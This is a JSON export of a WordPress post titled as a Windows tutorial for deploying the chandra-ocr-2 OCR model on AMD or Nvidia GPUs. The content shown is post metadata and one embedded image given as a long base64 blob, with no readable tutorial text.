{"id":2415,"date":"2026-07-18T03:40:16","date_gmt":"2026-07-18T01:40:16","guid":{"rendered":"https:\/\/konichi.co\/?p=2415"},"modified":"2026-07-18T03:40:16","modified_gmt":"2026-07-18T01:40:16","slug":"deploy-chandra-ocr-2-on-amd-nvidia-gpu-2026-2027-tutorial-windows","status":"publish","type":"post","link":"https:\/\/konichi.co\/es\/2026\/07\/18\/deploy-chandra-ocr-2-on-amd-nvidia-gpu-2026-2027-tutorial-windows\/","title":{"rendered":"Deploy chandra-ocr-2 on AMD\/Nvidia GPU 2026\/2027 Tutorial Windows"},"content":{"rendered":"<p><img decoding=\"async\" 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OOuvS46X4TNMms\/zY4RBWm20kv38qxvNyavEk1QrUeHTZjdw+brNQQqvnUiok2jo+kP5W6KCF+65L6ZCwfORqQuleNiaA6QP85owJ6Vy71d7oTj7CATpNNNKQ00eXA09FoE7q1mfltY0YxGdSHDHAz+4x4ILkQF0U7ZMXtt7HD3J0wQzyiVxB+D2W6ah0j0df8c1pnChxw23mnQAnnWX3MitZEpuUImhdaU7CXKGDxv\/yMXvSyAfGnP0DXlxNvV\/a+9QvJQokDWJ1xV3MF0LZMijve\/vHSMv+HucKk\/4al+U\/78b72XwBigGf2V8JaG+NnuG9Xx6Wztug8vsOj+T2IHrTU0CuMx9DfyUaDXHb9z6tE8K\/fgo3QcDi3oUsPPI2lfK8keY1ysm7djZQXCsXag436pEgwtD71iv\/4tXCxmuTRMNMQ5oGg\/6R7gR+9GziDmt4943UPgNUACLbhdSW\/ou3hgwwzp6+k9ZEd\/SCG8daK15Xyg9lO6N8v9b68xWrhAbWKxHRtEN16Pdl\/CIMfI4QzSQGD07vZ7mT\/T4LlLWCYZbuA1xnNTHeK4aC0LkjDFvpVZ4zOr08dnw7\/RzKMslzQf3DXwAzsKvqN5tqELO+\/Rw\/gKQc8f+8fYJNM7ZwMRiOVvYeJSC8+vn+Mjo3OXBEt4PScevRdORFfqAniEt8\/oFqwVHerTdSCe9VRe+P1CbT6LFCC3XUKKI\/TWxst3R7pIgeEq4oLZ+dbhTBuYuFkLvk01CXqKQ\/I28iZpdTbk0ZHfn1PEQ+ka\/2iszH5ZOqH+LjA4m95ol0QBZWIi1vQdLNBTm4e5yxXrrgzFmkImvK4PhnrR1GfxSU5qqj8p\/8uHUG9ofx9lJdHncv6GQYlrKNmf+qshWV5s6ptL\/jrg62PnVNnRHf4Jb\/mNgXHIIyc1GLsoPL19nTPC6g8MQBpvYodOiv468Y27\/6JqBRp1IJKt\/qCdxJovbIevyAkmURvv22Q4njjRThLi\/5MqPnN3ZWtvbyJ5nY8R7c5MTq8fLhFB4BAEnJ7PeuhnjirOvZ31B+GMa0WLzRCDAOy\/e40YirdsmbgNIcrsjgONQ7AyiJnafQ16G+0+U4r\/0RUVWQ5nbYBRZ1zMFukABSTykRharRXhHoQCjpGawxPig4eMBbUfaZdUyxRQKU8r8XkSMU2Vdz+FZ5XmtqWNhjwMt7uSBewU1Aoq95gPfwRJoNLwz3q0mGkqigpposrglJ77Ic+n17IpspM6gVC4qRpDbPCeANS4TJxLx0CXq2YtI2DFf\/Clmo173mgF5ZKf6TXl8YVdrqtQ0bAvSfAv2\/eglO\/a7Ohenc44zORjmum1Vqz4HNfXxqxI9wqxmVjzfxMLc8A7gniVH6hFPtqZrbdYE45I9xQ7y8SSXXsdUxnQL0xTYDvM55IbeDZGbfP9mTZuE1YYQ\/sndaMzzBJOHwYwEEwlgJvhuIXG3qFr1BbeKLu8dg+hHAzAmlZ2xhJ09Y3xHcnmBR3Enwlxi\/FPcaG+aOZdIoXhdQjJl6qsq1QaYXhfDqHF+WFLZnj7ic5QVrkFldGNAaBOGX1Bik9AARI5VVNrpf+SdVG5GBAZyvfCFAXKX3F30xJh\/S2a2RsWBYNNw1XpspKlih1j1U0QM\/kwN\/4YFkO9gG+cqsiPQ4ui39jSoJQGINX1dqRLPFgAm05OjHZUN8POAWhPi5z9c\/tsy9VBNLeQQ6yZp4VXozMmZiLQizgg+YvIpY39naAatfjskBI6z1gRCmOqoWcbSoQqtHP6r9FadTPSOBAZqC9lS1zc3YX6i1wipEd9KyHgjmHasMbGjOve5wzRB2LuewLy4nljshL8s69OYbxDamWd\/kNGAc59uvMYYiXjwRBjotXH2My2dHY6Zx2lBnBMLTu3nEm1wK7oxWlmXP8WNHBYcRWsInEYyPv\/iCwe2QhZYxZbihagtXKe08Ct8QTJkb0m6Dm6pOGTcWcMizcm9pRCRl0fnuwVDKnPJmRVo7u8IjK36OGvXdRSZZUxkt522sIeo+YSTS4H3rGrfYd255IY\/eTS+nn9rWRl8Rnx5zVCYzsFgisMo3K5h+pGMFWV9mt6lk4ME80XujjT5p8HHoEQeKJ594+pGQRpPmC8j2LTerIPsxgv1rz9x2OXLmvKOUBwoms\/Gs3Onqd2oFbuqQddvarc00HiAaG\/uGpVTq6iqWBhECGYb\/tH49pkOsPIGdYZEeLZZUy1jYK4\/10HTkzqVrdf1ZgcLfFzFsfTVHiRTHXFCbURcIROptdc8YOq7KiGCurbXQlCpppwAFcagVHToHs+YZLvoWwVZ7InRsDey\/anhFIjJtqO3QlOUA0Uag4+o8j1YyAnXBL0Zk8zZmHXXsUe3nJnE0eeInKg9Wb4YVpskt4jHVelXQs9LcoCmhzaRack+1nV1yOdYFxJHRbSBdpZFZCtXQtJOLKCLykx53mURiCiEakSyZb2X908\/1WBUcQfKleFLtTCy1xKo8kcMIvoZ\/yrEFjkk0\/6c6EsT9sRx5rReeM3CtUF+d2G4oTRW2jMiAeK97+tz8BTC1c310jlvCyN6he22R0MeWhZ0RH1d5GbOx9kS8d09QYXo1dTHI6BH5EjBwACXbwwrMByWQm9oLziVsElpraFGppMPPscOg+wwhk0LQR7Gm4Zl8Y2NZTO6nc3JOWPSSrYOAbv8sQTRXHZfECy0\/35VO5SqkObVAA1sjYGnHn+cCC7UllEHuiGNJ5FbEq7aeerXSslcq4h4XwNcaC7tagQu3FZoC+gYHiQu7X\/Q02uO5oRsCnEqlvW1xn8M8qexsF\/gSk2+o76C3spmOZLaPUAvZz4wTofIkSprEJL\/up0FIkOMZ65TVmXcUUDcIzp7cjsv10RkEfQ39hWWmlEmDb+7B6nc5yu2lvyXbUa0B0DI348oQZyjF6f\/wqlOkk05GESq1KugIIeJTr\/QBuvWK\/DnXNPprDOFDyXW6Jdf9fJfCDDCQhW\/XFzR2dDuKAuD49C\/Ib8UngzzAGUfOisDtPQ3tplk4cFgokYJG7ygXLK1\/5ebGNmvrIVOleDWrUls91uTuKQVINW8tO7wvCaYfbqMXRGvSItdT1Ijlza6IeWWv2b0zc4K5noOOSMLBNmzc3rae4RIvT0TjHPWjdllYImpHpDf69u\/ZZPx0+3ntM40ItCOkDFdN5DnUWhvPyggXzLrxzJc5tSQn72wLxobckg1H2Zwqw82vHQ0xHHfxda\/R7KKyzP8hkEJHeYrjn+Dz9f6X57ky+9lNDSURGakyHSaua+V+UawqivC+w0rczC9LpGAblgrJEfC+UExnCbA6OMFfL3Km2Iu+O+60Ej2Af5aotzVJqRpC0fizYi30I2KHVODnJeJYmDxFZOALC7SCZNaSyzp\/pXDL0o57LaaqgUTR7D+djtLWNJIkng2\/0JL4lQeXWE9vnwUFreN9oVrsDw9RVuasf0MQALvNcHueWTzOO84n1i0rcekTyANZfP5zb9oUINtZ8nXIUH7SsJRB6juAYXQ0ICy0vg8B8+FtUXnUCtm3sez4xhEjvMYdxDzAa18fzjas7sLyoX6mENvL7WZpfpXEi2Cgcx\/dnjQC8IbU5lsMVG2BKLM7nKSY7i0o1dKCPxNi2JuA6sEnVL14RY\/CBSCVQ57I02kfWAuRTqzGBdNbyrbZ+1b4Moc2lmp63CUYdGqKS+cOiwQJesBjHoCA13ntR4bqLe6lJUOXf2dCOTH9gOrnd0phy1VtyG+\/EC5Eg3WQVgq0mxNsssBL8aVU0fzb8L7aF00qisjQg+6f8y\/B6L7seQRReR7lD6uC7xBEuDCxgsZj93ERcNSOrMH9sMH7IbanML9VnZ5thET\/AZQjh3PTMdPrBnd8yhQ76zSV6TEYqWU1ZsboeAJZbkbgU5Wwx9wWbuNQlhExLW8V1YFc1rC\/Q8fdZ+x+mzZflJZMCu7ekxWH8ESmWuvRbl\/HLKSsHJt2jUU7jDm8sSMqJDgE6HxmEpJppxqAiDKk\/KIbcddrzLFwT8KJ+19VR\/\/b\/0MG3x3gG9cQogR6PaaLCqoQifGnsFouyHQFKnQ\/mjqhDfv6Ln0zsGYYKL7l2L+hlBr\/ZLj3Ov9KtH7zgqb9F3+j5lRZkyYETAnjnXzKlhyVqpoco4UEIbikJduJI0RQccDlN2SLRSWyLVuDhAOpXJeKKpNOmJbCMB4\/ZC8FgGY\/N\/h71RGdyK8pNVfOAUtIVF9OTg3iy9NyLDP9WIF6UEEfoGMOrVQBFeVTE+swzA9oRF\/rh9yrtSrQfkweIA2njex+FvhBmgZxMYRSTtwb6FlSyyW7GnAxmG5asyOGaPcPclWWuiQ0\/wTz6zl923EF3nz0hagK2buWS3FJm1Cjj7gjEn9yuorJtfmiE\/uxDyeLHxSbZfWGC28OW\/kz6T1lEHWFWt\/7KJ3IaKw96iinmyD9Pqi+grSM9rLHvKohT4Lh53lWr\/uIVS9AiN9pRoW\/jfwkFNXRZNVL\/14oLvr3yiIBbxFsLR188mxpEy6FuM7+mmZhuiwi\/mNdaSw4KXAxeKiVnpqWY0wBFpUOtS9END0Qgbzsu77LSSIUSsi8vGuiYqwdFntXW+2umI0tDBMAOtDCcSXZthcgmcdxWY5RpPQ\/EcT+NimLFN0qtvCvl+qOD5Nz\/F2hipvA0ljv3mgK\/seGbREFrRQ\/VaonpGETI\/qFDZrnvb+a1vyXOyCVm+UrUxDWEmdRkCAAxMBX17YANajJq7c\/A0JxESd\/11kwnKm1L2FzP3KjkQu6xAK\/F0MJSt9kURuN2efQat8qW+O9qjdBCHxFgBEpty6Cf791vJWy\/K9L3OYkRUV57yi2xvMpHLSVchpaqDQ3O3IY9YfDya36ijdRecIrSIIdvBn26xMRITgXdlOskZ8pHFY65g5xZctbzDQT8WeXmaJbo7YoiYb2T8MEFX0JacxkVWZPZOfd9svwMfJs+PSiM7o3VtMjnKnutuTzwBJf4HrFnSQpQcJg8jQIaXlxtaPmtsjUxd\/Y2y\/FHHtwF5miW9FjKD7QHoTFYAmv10JE9IGVKXk4HvkCR+qGOolwyS0gV5kXsMVVjy7RWwInSvYiKwLPlP5Eu6lbxHqKTTxgKO7RedU5lNjuDolNEG2a6E8h8eFNt9XpJiIcmWkViW3TowGZbgGEwwzKpEbQBdM4vrC61hFvg2iE6QOq\/aSQJlnlJKN87zMjdIc46jObh6DB7lVB4Bupnir3SZ3hnCBzBkc4sswkrU69j6nAfWJzq2D5enEIkWjJUR7NCjCg0K\/maN1ZSS1ZAo8tfporcACyyH67q48UBkuIHJhJBgmEIRlM\/wU2plwBWI1RJ12EznSue\/vFViboz4rVaw80wRn+mHFUsUDhVct1CZ1H\/tVsFtcFaax27lM5cVkG4Qy4uLU+6AXEmihiggwAckO4lGfqcINkTJ8KXvydaEUTAuiywnl+e\/MEif7+CD0q2jWPUgphQC6\/5e+OjwzYq3TwhCXGGrgh7rVtRHx7EByAJK\/wfE2PsoALmNI2Od8xBuvb6I\/kNM+7bqOj\/ksxNAbK9xitXkc3te165acZUTpa7bAFyrkubojKAIzm5wg37MNZV8JINJhdq8b0DGjdWBGCjgguBxYk4AilnGMTG71XDYuaAnOJ3XBMUo95IjXyXpr36Pmz3y7Nu6e6SI\/cqrA4Qpo3c\/71yOqX6HOCptsiWIhcQtGCYE7aFKfWig0QXNmFAtoowEdfzeA7fb\/f\/i0FmW93JqoeV3cBhi2XAw8xxoU7hBcKHbHbFHZLEB4bFdaYt+GK2tUp\/elS25QE0voLamK62f3Ama9P5BCxTduhiWtlNtIp1M2+C2\/OxU3go3yoEcgqRIo49MEjDXf1aIqHP8RYBXDUz\/IlCWidyMczinNd1NJL736dFa0Ew4RDQYsxwLEvtRjPmGCEviczKEqGlXio\/GjrjiB8jYw3SzT7cauAwW3gX15AwCPGqKGepaxwlY78Hq8\/CKP6XDVCgDKMW7kQj7BNwg3THtIc121aGDCPM6LRrJKk+t6XZnoG4q63X4Pp9O4of9kQmnBV1Nl\/IFajPiUrXhx0QWdyU0gQFu0xNxuF2psAsNc5rhApEtAPT2EQwZOPtybh0z7YMLx7qXO4xnSshyNn\/mrnmheTKQmR8X\/+cx7TfWmEUhKmOtApYtoJrAgE4PQKJ\/NlGJ+eGoJr5IIz9oz2FlhKpDCF+S7nMjuRRYbNjQPgns1q+a75xAwEWgWwH\/zcft7BzX0+iFTf3gHnpfq81aryrOVnGhlVmUocYtERngLjmZzPAzpAL2Ae9PacggjdR7lEbsXgjoibjSuzStysF5WraEdihfk1wF3xR2pm4+eQ\/EP+P7m+Hr9IDD\/d3s3zmDCN9BekMrKrTKFzdkKTObnSgOtsQl5dvHqbb5INu2mPxPC9AmymiP\/GpP4eAy\/hwMmZrQa2zPEiWtpoEQmAo3UUenWK9HBJF4AjNvrBSDWWdkV1\/tjBEcrmoeHn3hlMJ9ulnK7ztYURoRxx8cUW99WUF9HIZTcTRRBV59WNFzqFs\/nkqOVHIJIaK7AePQWewzLKiahJM4IW5YhvdbXysAAQHmdDaxoz41Aaj\/SJFFeqfo\/hLGb0TMFVih87DjQUY2\/xuzge6ummAMTuxV9y\/UNlF9prfXv+ryNYfnvxM63QN1EOvI2xzXFQANB0PCBgvrTWNt8gsKxnPxT90JM68s0HgQuzZxT1msjmGK8oTL5mR4FVj8+HGuq+yQWnJsFHVcC3LmM3\/zQUfhaIF4CrtbrZjPq1I96BW\/dENJ6REGkq6KNOTCeIEC+PmdUI4I9Mm1TfPawViC4c\/ZHmAlx7pudFjTlvXRMSywE8CxsqLbl6Ay8pT1+E6n2zkT7D5RYZWiU5xuoxUvzYrJ1qA8pjyHpnUJ\/y+cTUmiIieQ6TI0LT7DqYT2RgZEANotbgX8CNihsqtQ4DRRnPNmC2SGE8OwlcoqAlVRBMKwpCQyICGbUJgqGReYM7aD3NCS4RGiRA\/A6d\/aV+6vyNKd7FppHhf4JoO6d+YcH13SwU+1IpHpDPsfWKNkI0vB6lYxZgVbaShZwH6wDSbILSoms3sl2fBjN4pLCsTK67VFhcgTK7E8JtIHTP+iXy0wzDCmBHuSxDUS\/qwPUJclaf9lRmS3tjdD0ONMsw\/NNs46QPlP7K1Y2muHsR6qjncAoievfHQbBCuc1Tg\/Z40eKUgASVYH3qqi5s5B3CQ7C2ApEQFPgiGJn6TNn2igAzXpm5l2U4k+QH+MolTt15ei2SVBw0nvXXRVJm1Zlr6+lCYb8vQmiLWvAGZh2Qw+PKuwJCigKxWeMnS9aCVcW5nnNX7yfFGA0X\/y5Ro8fl40wgBJ2Ibi0cbRvjnJJq7m20ipqKibdDCZSY4EBUy3q0SdcpWHgrm5dMbA5ZHaFo9\/DHG2kqafpFq+7e\/9VcWqF1LrJLV\/VzBTsuI86sjCavyOJ75XUfFGgoSJAOsxZH1oTsVN4jd36YpnJroasyFoF+SGBzNURoma72JeZN6bPJoq88cyjq+5DcKLRXn7H9InxSxAmJ+M81utqzMPiGLtQxgY4PZvek+3Kf3rD2z0KbD+x7Cs35Lt+nC50H7t\/9\/4XT+kzXZnymqNxPihLMYAhHn0OFUII2GcEA34BIVR8JMr29aUZX40fGZUs37uSJs3EIiqGxgfLotXUfb4Kh8\/fvX2JdytUrdrmqJlLFAOmfuId30wLERj8fTHGA50O\/Thv1aebP2vXKvsYZu\/v0evPyd+QWMzQ6GPP+XS8uTtF7sHEXRPlMEsb2LNYF65iWEvxjJG8EyNvw1yTNs9gR6tYJeNdjoQLf75btQL3pPELShTq321Y5tvp234z6+g4JMLifUnXDQnc+bff\/DK3VZ\/2EBY\/ca5bhp4Sw4SCvoJe8PAB96rxtRI2Zp3xooc\/znSvFwch\/S\/VNsfpu5yUcYUTkb9VUnaQPG4WUqtJtPcWAMGTTBGhSS76mad5eEgAl3VjE\/zBdB3RxYXMQSNZzcni8UNyPUMDVeTuwgiNN33oHY5vnh83mRYSwbw5RXj\/a7LSLwE63lDYki7zLH29h0bsYLvF5ACBfSSThvyYpmamQrdcIAWGzzm+YV75dEEsGNIMB4YzKbsM\/TthexkzPL4eoVpIYAULoRs6D8qtt\/uZmWrcFHRz8P\/6U1nDC417S+QgsUoZnlwucAM154k0kUeEk\/BoxPRsGIooUaKvs6fQQHqkI0nYRKcq+aAhz4w00F6brO9HNC7VaNM4FuSNPYf4MESWZOB8PDeK6LkccezNZQIqpkyCbcXq\/PFuLJPuydBXtrifWN1LfwvBDZPrjEEHkwp3jON6rqaclb547nFCJXVTBdFdy4DhuRPZc+DfqyY3XS2dj9nYWqJisBP+1H\/FK0alG4e1rOVFpCnh+m7AOZ\/5BGi0oxcywaCsj+0UNzwGdfniezZreWZ\/DyT\/Ck09S4iRp6JA3o7PyDDPdsSL3D\/lIuz7HJ63RpYpxcSWWPkxTi+2+ELEyGvrcpI3FbNgbPVRKPdpBS4VjjnDO1Gs4oiIijdqD+1o\/yL\/9yereHAFYnZyccW04B+sAxowtMSQ1q09FJ4SHPOQ\/XpByOPo09pOmONAzSriCfvXeHkKoiow90gpQn0lE9aPqaoqzB+ANVqwd47E28ZJhJ5avxdb41qz+PdFHYZQjoxuehzn956rYvFtY4+TCPtP2ArkL+wItwZWKwo8kLC1eQOozniHREJtL7TGBix0IjK67hnOe4\/h9e\/HfuCgm8VcpAsbUIOv6RlUUci34eQNI\/hdAKHn57IYL5yeBAK\/BDNqbjtHaMfMZfHTP0iVE55+hY+crqmZnEdWqa\/K47sNlr7K34DCUeflXfL+CE2rRdWQHuP9G49Aew22cYCbbeKXgmIu3tyP6Jser+aRdQMOREuDScjPvPieG15MhW9iwMpWATE5U9k36lsZ4hbCPgA+io54xFVv9DKNZ3027fze3HFQ2nhqmgIST6vgY0kTWv5INrtu+Np9cDTt89qTt56tjex3H66UnCE4henaB0OepO5dxfy01dmPtGasFDwwMyqGrURjVoAS\/TyA4MHhS78D6euNVzBPE3lvPClrc9GlxiELPzEwclQv0b0UO9iV5Fp0pOM5388L8Zwib47H91XOvUgCHu8u1Vj7o76c0t\/NU5Ve+\/jZWVhsCuao5TyhO6Uj22NW+B4CnAWDpl6xvAAUIcDJfUvlvS7LwEdsQdUoZ80KQMzcGcDmLa7C0VearxA8xp8CWNzVRLY+iVJEO8T9Z03bALG\/GJerojquHPSfjTfWStBozfjmXRVGhKYkC28qQIMCE0SjsKEEDhbcQXKAD8LcxniYjsMiaSp5PIDuf\/Ao0yRF98ztEZgrICwSHNt5Tzj6Y+WInJ4bfmtITY+LX2xdxwnwsiQMqvQc8\/c8dDx2oNGla5Gnti58\/2Qu1K0muhIVNNzxJNQZb5tYUyuRkUQ3TLSNaV4leV\/OP\/gVv8giZl\/8SJhamO3ycPPEyhFD1Iu+nIKyHk1BF+nW\/oAchlPq6Kc211nCklF6I7Ini\/jFkUKj\/i5n+Ao2spmeUEKsoojBLBYMTVV3Z8crcWJwuxRM8yyOkjENrcMgRM\/ObgDT0erEYiaMx9Z+QrYePcc\/YZp5nmBCTYMycB05W\/Em1BvCsGuRDPa2Sb6gPT9sVz+yRv6NtKWEf2DyLNFHtlEwUToe\/2cBWXkJPJVbapzO\/V07bECNTYDN23RxGCG8GKe+M924EpVvbi\/GZno4GumudQByN767mXyqpjAhQ2VoASXVH27Weylyot01egVxKb326s8LH3CvVXhcp9c5+xLshvLb8M\/Lz7\/el3qLshW2N4GT5fCbeLFWM2QLqLl52Jgv7HN\/pTEhXpU0a2SAwzZHI5544donL2axNdn\/ToksHWYWGgYUIlAilZJ9SXLRsYZYSEEAxsqKFI69LgS\/ziG4JGRXXT2TwgY6Guodx6\/pNHfjhbauQjmnxA8TrihZhsToDG0l+DpgwqOi9fz8\/yND7Npw25ESYrGYwA+9SVTplIcF2OWJAWh8RJd2AaJlCKB6k1i7PB1aG3t2M9D4Agee9hPq770LDt6AWvCK3iHMgPF9BLje4Unw5p5+jSnxONsGh34\/OqqOzWsMfFEt91qhdST+vRJR1yuVlg\/3Ob2ENdkQSJpWB\/ugAQnySogUgNGdg\/OXtXamGCgrpBvJts3UaiAYlAT+Lv4VvREDPgVhhsXRVJV5wMtKWFQlDp6aSxtNoiZl3nvJqQa0FsCs3c6mZcd3rTbvXpEMVi4pAJNsr+BCglJwu2omBTly5iRaO5GtfzH5WaNrF\/bC+Llx\/J3ypbeKW54pNgPXUfBdfH6o3qg9Zfo3bxDzz99c9IFOxhGstOuhdAa2DzVlSyzzBDQxmaA4HN6qcuia7eCJ9RfCMw9s5R4fqxf7FbY8L\/ngoDZbDuB2EVGp7Lh+YjgKZHTIMp2iuz+jMm5ivLH25GlsfIGxiXx1Yafh09QG07+OhDZ8KUo6b97yaTEiL6OmpB7gnb\/TINJ2wBqqz6Y47lP38bmmkSkVOgiBw0bGEblyXHfkDX6gjj36NuNFIf8O71ucam0P8TDjhlxFcfm9MiJy\/HARqEiu+YA5vB7xkFuRawr3yhrYQgRn+X+DHzK63\/ON1Kfw5ZIs8z+gwr\/Fe8kiyC+spL16Z1HFL+\/KuN0dEzzGXOG3zmPcbiym6Ul0s1aU3gNMJ\/5LtkZF4WYBEOITkbqZyp0NR6oLMp2yVyDoVSHpKiCMAne+7wFpC+I8goMOVR5YJkiyB5DiPaemp\/v8ZJPqC3nNK0zqg8L3dG9aKD\/GKYgg8V71KxIW9xLnF95O0ZCfzaLTUlZYaf5IfEQh7xbIsjqGeFxA6ZS3S5mVDmjPWlvGo3FJjyLT\/U9Z07K8aWZ6hth57j9U5losaj1Q1mLlXmyrF92sLPuciPtJZu6jAnjsy6wEgoLmpe50xuMGUBkOGYxf\/PT+4XE7y\/+C6pVH\/YC+RJOyOhKL5DZQuHzimxVabLbBux7s2z3ykeMnPxs24ZvcXTOTXVlJ3O+eS3U0en5rYrmU7Ljw4Rh3D2IUFK5JQZlWtGG5TX9UJoTbtwjMiCzNd6VUrXtDWMagBGHk6DGI1XY1FV5n25z1PjUs1YJ0RqK6Ydn1y4ZSCGn9l\/b2+j6Nqsv4VFcX3ge+JBjpYHa+oMcItnpgaC+liXf0M1Yd7UIf2jbjX3d2k03LWhztPctcUjByopk84qdff9zzx3iso61HKnqTd8\/67xdjH1hDQpQ6QiGunvp5E1tJ+GE4r8RECvSsPR0vROXpe7qS4JOxYU5Y5mlboJpuEURymZ39IRR0UUxjysa08tZIC2kLJuDMeaJ1Er8ZGUKic3Z+ZNoh4AZmo1W\/XQzzyfPkfl87WDCI\/IKHXUO983aWJ3+09w6zAfyru5WzpMSjbR4cpRmI1lZ+L\/vP6nRoj06DfiI7MFAD7vTbRoA8kGtf2Yu7AiqduqeUHZ5zcEoUQTrs7Y0pZfPOXZjT7efpDm0p9lcLHyL+BtFdkQSBpd\/VwwIO9J2jRChrdWWpmASdU4Q6lp1SHBTyH95miY+rhVrngC8dLz+h3262x30MpFIdlvUnj\/+J0OcYbHC2TU3ew7RBhiFNN0gemxH8QKUOwLxo5udp6BiVL2SueoRRV4ViQdMhaVG3vfUsiTGBuxjw5ZL6rF0xAQG1FMC6lYG1CSX2uwx8uWq81b1QPYGjXU3EURTsv2odrZz4QnPmIjKueXrOi7NJKhisj69EVZp2z5mjNvUiJGejj+OXlMEZT7rVFa39ku7eR3n47dS2Gu6ARBJ6zqAO\/WfEZ9V3r4YSW7G16mpKsFy1vmV8mBAmoH8M5QPXHblCfh64KKZk98XnFtagi+PUbhwUhmHOf8OGDD+pWpYrzQi7d+zuZZ5EDEx\/rBAqDr+7qyZ0lAQC2JRkVf6eQoKiPZ8sPjue9hBI1LHXdUPEHS9a+hddEMnbZn9gGfnWTeJBZGlvlD4dcCxJSUfCm3t5pfsVtZWInXNq289n6CEDoiAUbQC0FvRtGEMNReSgP5WG+2OZOF\/M1H2rkKfEdZ\/zTFtLdzqS7nDAuj1xZfY2YbcKd7yMqM\/tsmILfxNyP90YjwLo+0YLxgV73GrPz27SL9YPZua5EilTXtT3d2S6WpqQxzhK7mikpt8xfAIVKdFaxAPb00bNR\/\/YoLXKdU7qHtJQTVqGoE1COdTkJju\/SjumF3zN3vI8+2l5tB180emdBzFtwXRkaztsXuEbCJUxDImrCjMROsXJ1rasKHCTFfpe0UJhdkzFtoLouAhlm5L\/CCoHfstk2S5cMyQoOybhIi7p6\/Z0NUJzi4GzVZh+IQ4KUsqDi7XVT1Cy6gjk6gjFBrLMCoiXJBLYF3jrpivT2PHCwHxqVQVbqb0BV17+YfDNWbx1xd94RifOvW8Q7Z4HEE1HrxYgPsp+bneaGxfxyVRIQOK8d70Cq3Q474LA25ws+cZvV4L7XHT\/cyUh38IgP0nt2kkw5GPvW16KY9uQMyXPpkiqQbpAsEawgwhoHmzysOMQ4RpzcWwrouv3r4Jp6UufNBhmvy8z6wIImRRtCjf4j2OOJ7lLCwnmt6N3Xh\/GdjsJ+H1YqNbfgsMiCwBh+UU1BZvoBR4CSiNjowJ7rjspFXk3Zat4c2BG19bDZ7vJGBqyZ2SvBzCrmy86202G7ZLRZhCeb9KSd0lkoY2vMSH4FX+dGcLrvezxXXPzZNOCOli2coP0fzUkHHZzewc\/2xAj0+kt8VIc+1hY8conrUx7p+aja8fxVMvKrV\/5NP+fvBA51D2\/NF6R0dLRgtfpmsBqQC\/gnk1Cp5xDCIWkise6hKTss71UFaPk+ohLN5I5e4QDBU+51m2br8Q01Eewj1uJ8eNnJ1U64oFwSAlybnrolm5H6uAHcMJHSskiI4HFnpWFZfUBEj94gWLYGguyQf2h1s1mbdg2XL0KKW0ZaV4CIzCVVKnkM3mtXR3ZWh5mJUW6UyHhdPx7LVkJcxAeVAGC08umdeBOgvrVK9LIdtBhdQmA\/cHP11pvNFdDebtCcMa7sdonhdNoiHcKwodwMnOxf6rXJL1RoGcpD8X2bIBJxjgakzJeQDPXB6O5U5YMgUqdS00eeTLhmAJeChVKBvfWTqvhvBVUU1Lqq1qsI5hXFP3vgpXJovS8+A+6PsCyI6qk5YF9Os3lswdlj9ixLPoQq748SELYT0HBLd3969Kogqlf1ukYx2F7bdS+mEKbRNwl68vkZgUbc548q7yQXUzAY\/HmqkT86t35ol0Ef6F873dGMAFrG+enWU3ans8\/HN0WIaqbQP3Pdv030SSsXL\/PVAVecgEL1RtCwGuja3Bp\/OzdwtvyVhdOj8fB2Jb6i+VVn7skTRhC0FvjRq\/FeFevxvXR4d\/x0DJm5jguYJFErprNQRzgBz1YecsW9CGNvdzMR0jFi31M73h0+v8pNVpBpNMpT78F2hg60XypkzCsw4kIENM+kI7TTEgPsZZ0FApqK4twbyHIdXQ0K0WegwiCFQIahfkP5c5G69dufvBRnriFLNM7FQYwi\/\/8jT1d5tgM8ahAtEXBG4vbEwjIETPNgiTl7kCbVYmCD3obLu2TM28akCmEPfKXcI+3kVRVlxDn4eegCwAyAFfcm3kzhJY8H6Amv8+xorTsft9ClKMqXCBV7xnCUyKjtlOzV2F0BktM+qMzTAit6LubNbWRbZE+owx2xiPHe0yPvlWGzF1kyi9N4PAyKWjQrB3\/Wo+suRDdlVKEB0waSJd2vZAZE0ZsLrHylGZ6g1XGgnC4eEXg8h5Wl0z1c5hCdKF1y7Zb\/I9\/zuYyLKrfZGWoSfUEOmHXaxDaXHDI\/stbybU7UQ9mvFt2eiGKsVc4bGBuHACd8nGRmwT0CdrlkvHKvtbJFcSFx+n341GF0WlRsCuzwg7cVKCbiWY3gbvUWwgbznnA1y1LKjvcIoIi8PBmbSty0xBy5bpR\/tpMO4oaKGe5txinha1pMgIZL0zT470uALi6f8AFLYRrmbI+Ij6EN8rrwD0ICDVRRZeD3c3AmyV4npuf\/cMtmCGXQzeJUBbht6K3+PN2KpOTLhOekl6tRXHC7db69y30Re0UecWoHs4JSoh3CQr2e\/YRfqoURKXb4YUXuQkd8imVJAK4YoyyaIXJ1zOH5w16zLFicewNCH0SYOOaD9sMSLJ0asZMV0x\/KhjhWVii\/DPemIJQT6STxKRIVXclQv8e9nSkmjJh5CYostCVBCiB\/hv5dW8axkWzWY+fcFdMlHIhI6EsvmQj56DK+nUb5luzoMfySm1o14kNVMhRwZEolzEDJyOavjcMbncu12mNYijEOUiDIvU3BFu7B91nNvz3fBxalI1ss6oy6zd1K+94EmnUT1jOP2x1htlyAywUHXO8pMN8rhp6WWL54v+PQE6EiX5ruHaBopPxMKwh5JVTVUorrDodPPT6Y5RQGrTZVmaytJhgr6yJ7w4bYm4yyI9+7J\/UrYCmrm0DW8XLTuRBNcdLtzYQab2sGkQvGd6KYKK\/Tsm3QWOhffJUAxj093KhDwzJ9RSb7aQX3QLaBRLlBedfTqjNjScBE5xP9enx9bSHL2JkSJcrgv6yDkeZu2JkSJV58V3FuKZBTvJOSXAqvL4YeGipHMMeTpMiCMXdZR6rVe5qKw+AJk2jIv58WdFrt1BZcGioLV\/qL+IgO0K\/sL8u5jXCb41jm25jc6tUeMJq95RAVR1Qw++ZXLedAR\/x8HET9dEdiCmb29ffpeSUhIRWTbSGba2gLvDbsn9pvnb2m7ipkOOjk4Kbu1RGi3pZQM8pFJ2yc0WDMaZlshab\/5d3DKkm69bQfSBPlvqBmZXJgSTRhN59egAgJ+Ktef1XQPI7XHcqFFgB66cUmvBz+uWXDKNNkFuzNKAGcyJCRJq1BYuWVigDIQk1fu7ws1BHSSOQBPkdcnf1FVw8TMm60auQzK+r0P4RT958\/lPljlRu3h5vOn1lrX4AjDjeppOGREfZIXtHu1jfDx9T9eGAhJHSnULHY8EuKqEcrlc6T0Qigz2gj6pc2A7Qb6+F\/EQEBHQ3myyiEcwfSE4CcCaTRSdtpMjOaaCxzBofppNk7svXLv9kmI8jdImYVI9xhxtURUur7\/DVipZYDVI77z9jHAm+